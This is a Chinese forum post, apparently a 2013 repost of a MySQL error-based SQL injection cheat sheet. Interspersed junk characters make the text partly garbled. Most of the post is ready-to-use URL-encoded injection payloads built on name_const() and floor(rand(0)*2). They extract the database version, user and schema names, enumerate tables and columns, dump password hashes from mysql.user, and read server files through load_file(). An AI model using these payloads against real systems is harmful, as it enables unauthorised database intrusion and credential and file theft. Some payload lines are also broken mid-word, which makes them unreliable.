Mysql暴错注入参考（pdf）

admin

本帖最后由 Nightmare 于 2013-3-17 14:20 编辑
$ l  c7 W6 s7 U
4 \* v0 _5 L. H6 B% a
Mysql暴错注入参考（pdf），每天一贴。。。
/ [( C2 H& p$ g
MySql Error Based Injection Reference
[Mysql暴错注入参考]
Authornig0s1992
Blog:http://pnig0s1992.blog.51cto.com/
3 u+ W( c* X* E% Z& P# d3 [; M+ DTeAm:http://www.FreeBuf.com/
Mysql5.0.91下测试通过,对于5+的绝大部分版本可以测试成功
$ B" x/ w8 K# z7 m; ]/ @  W小部分版本使用name_const()时会报错.可以用给出的Method.2测试
; ?( N! `% ~: x1 v查询版本:
' g$ W1 {6 y3 N/ aMethod.1:and+exists(select*from+(select*from(select+name_const(@@version,0))a+
5 [) E+ \& c% Fjoin+(select+name_const(@@version,0))b)c)
Method.2:and+(SELECT+1+FROM+(select+count(*),concat(floor(rand(0)*2),(SELECT+version()))a+from+information_schema.tables+gro
up by a)b)
查询当前用户:
2 s5 q& L: v; Y: EMethod.1:and+exists(select*from+(select*from(select+name_const(user(),0))a+join+(select+name_const(user(),0))b)c)
8 U) B- p% |% \$ fMethod.2:and+(select+1+from(select+count(*),concat((select+(select+user())+from+information_schema.tables+limit+0,1).floor(r
0 {9 m0 e2 i' ^/ p% }7 B; O4 N; Dand(0)*2))x+from+information_schema.tables+group+by+x)a)
# c$ t' N( a2 C: t, S( Y+ Q: @查询当前数据库:
. x1 m  j2 o. d) |Method.1:and+exists(select*from+(select*from(select+name_const(database(),0))a+join+(select+name_const(database(),0))b)c)
Method.2:and+(select+1+from(select+count(*),concat((select+(select+database())+from+information_schema.tables+limit+0,1).flo
3 v. M8 l2 F# @: X4 B% B7 u2 {  `or(rand(0)*2))x+from+information_schema.tables+group+by+x)a)
) E6 \! O- |- W: t2 G) k: t依次爆库and+exists(select*from+(select*from(select+name_const((SELECT+distinct+schema_name+FROM+information_schema.schemata+
LIMIT+n,1),0))a+join+(select+name_const((SELECT+distinct+schema_name+FROM+information_schema.schemata+LIMIT+n,1),0))b)c) 将n
. t/ f' Y" e1 {顺序替换
爆指定库数目:
and+(select+1+from(select+count(*),concat((select+(select+(SELECT+count(table_name)+FROM+`information_schema`.tables+WHERE+t
able_schema=0x6D7973716C))+from+information_schema.tables+limit+0,1),floor(rand(0)*2))x+from+information_schema.tables+group
1 H( f  D" w. @$ H+by+x)a)+and+1=1 0x6D7973716C=mysql
依次爆表:
6 y9 Q* p2 _* k/ W: ~- rand+(select+1+from(select+count(*),concat((select+(select+(SELECT+distinct+table_name+FROM+information_schema.tables+Where+t
, Q" N. v9 v1 i. Eable_schema=0x6D7973716C+limit+n,1))+from+information_schema.tables+limit+0,1).floor(rand(0)*2))x+from+information_schema.ta
/ g1 c+ R7 [5 O3 jbles+group+by+x)a)+and+1=1
% F+ z- I6 u# A* T0x6D7973716C=Mysql 将n顺序替换
爆表内字段数目:
and+(select+1+from(select+count(*),concat((select+(select+(SELECT+count(column_name)+FROM+`information_schema`.columns+WHERE
$ K& O  O  p6 c9 h1 {+table_schema=0x6D7973716C+AND+table_name=0x636F6C756D6E735F70726976))+from+information_schema.tables+limit+0,1),floor(ran
& v/ f( x8 v7 S& T3 b0)*2))x+from+information_schema.tables+group+by+x)a)+and+1=1
依次爆字段:
and+(select+1+from(select+count(*),concat((select+(select+(SELECT+distinct+column_name+FROM+information_schema.columns+Where
+table_schema=0x6D7973716C+AND+table_name=0x636F6C756D6E735F70726976+limit+n,1))+from+information_schema.tables+limit+0,1
loor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)+and+1=1  将n顺序替换
依次暴内容:
: y8 t% U/ I8 x4 nand+(select+1+from(select+count(*),concat((select+(select+(select+password+from+mysql.user+limit+n,1))+from+information_sche
0 c. f: r; s1 bma.tables+limit+0,1).floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)+and+1=1
- u4 @& x1 t+ R2 G" s' l, n将n顺序替换
爆文件内容:
/ i/ o$ z/ D1 Eand+(SELECT+1+FROM+(select count(*),concat(floor(rand(0)*2),(SELECT+substring(load_file(0x433A5C5C746573742E617361),1,64)))a
/ B' f* `6 I, y/ O, l' \# [' f) afrom+information_schema.tables+group+by+a)b)
+ A+ Z- g0 q- @8 [/ I0x433A5C5C626F6F742E696E69=C:\\boot.ini 因为只能爆出64字节的内容,需要用Substring()控制显示的字节
. a+ o2 H4 I. TThx for reading.
4 k8 l, V2 F, I1 O/ o
/ T9 _' Y. h+ q/ F8 h+ {/ q, g不要下载也可以，